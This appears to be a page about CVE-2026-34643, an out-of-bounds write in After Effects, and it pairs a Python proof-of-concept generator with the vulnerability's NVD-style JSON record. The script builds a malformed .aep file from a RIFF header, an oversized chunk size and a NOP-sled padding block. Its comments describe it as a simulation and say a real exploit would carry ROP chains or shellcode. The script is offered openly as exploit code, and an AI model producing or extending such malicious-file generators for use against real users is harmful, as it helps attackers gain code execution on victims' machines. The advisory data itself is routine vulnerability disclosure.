CVE-2026-34643

import struct def generate_malicious_aep(filename): """ PoC Generator for CVE-2026-34643 Generates a malformed file potentially triggering OOB Write. """ with open(filename, 'wb') as f: # Standard RIFF header used by AEP files f.write(b'RIFF') # Write an abnormally large chunk size to potentially trigger integer overflow or OOB # This is a simulation; actual offset depends on internal parsing logic. malicious_size = 0x7FFFFFFF f.write(struct.pack('<I', malicious_size)) f.write(b'AEP ') # File Type # Padding payload to reach the write boundary # In a real exploit, this would contain ROP chains or shellcode payload = b'\x90' * 0x1000 f.write(payload) print(f"[*] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_aep("exploit_cve_2026_34643.aep")

{"cve": {"id": "CVE-2026-34643", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.707", "lastModified": "2026-05-13T19:35:33.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "D4959152-FD14-4F5C-9D18-3B556EF207AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:after_effects:26.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDD4903D-B357-4133-8BB1-D3A23D7319A8"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/after_effects/apsb26-48.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}